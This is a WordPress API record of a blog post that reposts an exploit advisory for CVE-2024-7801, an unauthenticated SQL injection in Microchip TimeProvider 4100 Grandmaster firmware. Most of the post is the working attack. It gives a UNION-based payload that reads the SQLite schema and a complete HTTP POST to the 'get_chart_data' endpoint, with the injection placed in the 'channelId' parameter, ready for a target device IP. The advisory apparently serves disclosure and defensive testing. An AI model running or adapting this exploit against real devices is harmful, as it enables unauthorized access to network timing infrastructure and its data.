{"id":62590,"date":"2025-04-09T03:53:25","date_gmt":"2025-04-09T00:23:25","guid":{"rendered":"https:\/\/afaghhosting.net\/blog\/microchip-timeprovider-4100-grandmaster-data-plot-modules-2-4-6-sql-injection\/"},"modified":"2025-04-09T03:53:25","modified_gmt":"2025-04-09T00:23:25","slug":"microchip-timeprovider-4100-grandmaster-data-plot-modules-2-4-6-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/microchip-timeprovider-4100-grandmaster-data-plot-modules-2-4-6-sql-injection\/","title":{"rendered":"Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 &#8211; SQL Injection"},"content":{"rendered":"<p><\/p>\n<div>\n<pre><code class=\"language-NA\" style=\"white-space: pre-wrap;\"># Exploit Title: Microchip TimeProvider 4100 Grandmaster - Unauthenticated SQL Injection&#13;\n&#13;\n# Exploit Author: Armando Huesca Prida, Marco Negro&#13;\n&#13;\n# Discovered By: Armando Huesca Prida, Marco Negro, Antonio Carriero, Vito Pistillo, Davide Renna, Manuel Leone, Massimiliano Brolli&#13;\n&#13;\n# Date of Disclosure: 27\/06\/2024&#13;\n&#13;\n# Date of CVE Publication: 4\/10\/2024&#13;\n&#13;\n# Exploit Publication: 11\/10\/2024&#13;\n&#13;\n# Vendor Homepage: https:\/\/www.microchip.com\/&#13;\n&#13;\n# Version: Firmware release 1.0 through 2.4.7&#13;\n&#13;\n# Tested on: Firmware release 2.3.12 &#13;\n&#13;\n# CVE: CVE-2024-7801&#13;\n&#13;\n# External References:&#13;\n&#13;\n# URL: https:\/\/www.cve.org\/cverecord?id=CVE-2024-7801&#13;\n&#13;\n# URL: https:\/\/www.0xhuesca.com\/2024\/10\/cve-2024-7801.html&#13;\n&#13;\n# URL: https:\/\/www.microchip.com\/en-us\/solutions\/technologies\/embedded-security\/how-to-report-potential-product-security-vulnerabilities\/timeprovider-4100-grandmaster-unathenticated-sql-injection&#13;\n&#13;\n# URL: https:\/\/www.gruppotim.it\/it\/footer\/red-team.html&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n# Vulnerability Description:&#13;\n&#13;\n&#13;\n&#13;\nThe TimeProvider\u00ae 4100 Grandmaster firmware has a SQL injection vulnerability in the \u201cget_chart_data\u201d web resource, specifically the \u201cchannelId\u201d parameter is inserted directly into the SQL query (SQLite) at the table's name query parameter from which the FROM operation is performed. Unauthenticated threat actors can manipulate queries to execute malicious SQL commands against the device.&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n# Example of Malicious SQL Payload:&#13;\n&#13;\n&#13;\n&#13;\nSELECT%20sql%202,%203,%204,%205,%206,%207,%208,%209,%2010,%2011,%2012,%2013,%2014,%2015,%2016,%2017,%2018,%2019,%2020,%2021,%2022,%2023,%2024,%2025,%2026,%2027,%2028,%2029,%2030,%2031,%2032,%2033,%2034,%2035,%2036,%2037,%2038,%2039,%2040,%2041,%2042,%2043,%2044,%2045,%2046,%2047,%2048,%2049,%2050,%2051,%2052,%2053,%2054,%2055,%2056,%2057,%2058,%2059,%2060,%2061,%2062,%2063,%2064,%2065,%2066,%2067,%2068%20FROM%20sqlite_master$20WHERE&amp;20type='table'$20LIMIT%201%20OFFSET%200--&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n# Proof of Concept - PoC:&#13;\n&#13;\n&#13;\n&#13;\nBy manually modifying the following request, it is possible to execute malicious SQL commands against the device. The list of values \u200b\u200bthat must be updated in the exploit HTTP request is given below:&#13;\n&#13;\n- [malicious SQL payload]&#13;\n&#13;\n- [device IP]&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n# Exploit - HTTP Request:&#13;\n&#13;\n&#13;\n&#13;\nPOST \/get_chart_data HTTP\/1.1&#13;\n&#13;\nHost: [device IP]&#13;\n&#13;\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0&#13;\n&#13;\nAccept: application\/json, text\/javascript, *\/*; q=0.01&#13;\n&#13;\nAccept-Language: en-US,en;q=0.5&#13;\n&#13;\nAccept-Encoding: gzip, deflate, br&#13;\n&#13;\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8&#13;\n&#13;\nX-Requested-With: XMLHttpRequest&#13;\n&#13;\nContent-Length: 146&#13;\n&#13;\nOrigin: https:\/\/[device IP]&#13;\n&#13;\nReferer: https:\/\/[device IP]\/perfmon_synce_stat&#13;\n&#13;\nSec-Fetch-Dest: empty&#13;\n&#13;\nSec-Fetch-Mode: cors&#13;\n&#13;\nSec-Fetch-Site: same-origin&#13;\n&#13;\nTe: trailers&#13;\n&#13;\nConnection: keep-alive&#13;\n&#13;\n&#13;\n&#13;\nmetric=mtie_a&amp;xRange=1&amp;tStart=-1&amp;channelName=tenMHz&amp;channelId=&#13;\n&#13;\n1_status%20UNION%20 [malicious SQL payload] %20UNION%20SELECT%201,%202,%203,%204,%205,%206,%207,%208,%209,%2010,%2011,%2012,%2013,%2014,%2015,%2016,%2017,%2018,%2019,%2020,%2021,%2022,%2023,%2024,%2025,%2026,%2027,%2028,%2029,%2030,%2031,%2032,%2033,%2034,%2035,%2036,%2037,%2038,%2039,%2040,%2041,%2042,%2043,%2044,%2045,%2046,%2047,%2048,%2049,%2050,%2051,%2052,%2053,%2054,%2055,%2056,%2057,%2058,%2059,%2060,%2061,%2062,%2063,%2064,%2065,%2066,%2067,%2068%20FROM%20tenMHz1&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n&#13;\n# End\n            <\/code><\/pre>\n<\/p><\/div>\n<p><a href=\"https:\/\/afaghhosting.net]\">\u0622\u0641\u0627\u0642 \u0647\u0627\u0633\u062a\u06cc\u0646\u06af \u0645\u062f\u06cc\u0631\u06cc\u062a \u0633\u0631\u0648\u0631 \u0645\u0634\u0627\u0648\u0631 \u0648 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646 \u0641\u0646\u06cc <\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Microchip TimeProvider 4100 Grandmaster &#8211; Unauthenticated SQL Injection&#13; &#13; # Exploit Author: Armando Huesca Prida, Marco Negro&#13; &#13; # Discovered By: Armando Huesca Prida, Marco Negro, Antonio Carriero, Vito Pistillo, Davide Renna, Manuel Leone, Massimiliano Brolli&#13; &#13; # Date of Disclosure: 27\/06\/2024&#13; &#13; # Date of CVE Publication: 4\/10\/2024&#13; &#13; # Exploit &hellip;<\/p>\n","protected":false},"author":1,"featured_media":62562,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-62590","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/62590","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=62590"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/62590\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media\/62562"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=62590"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=62590"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=62590"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}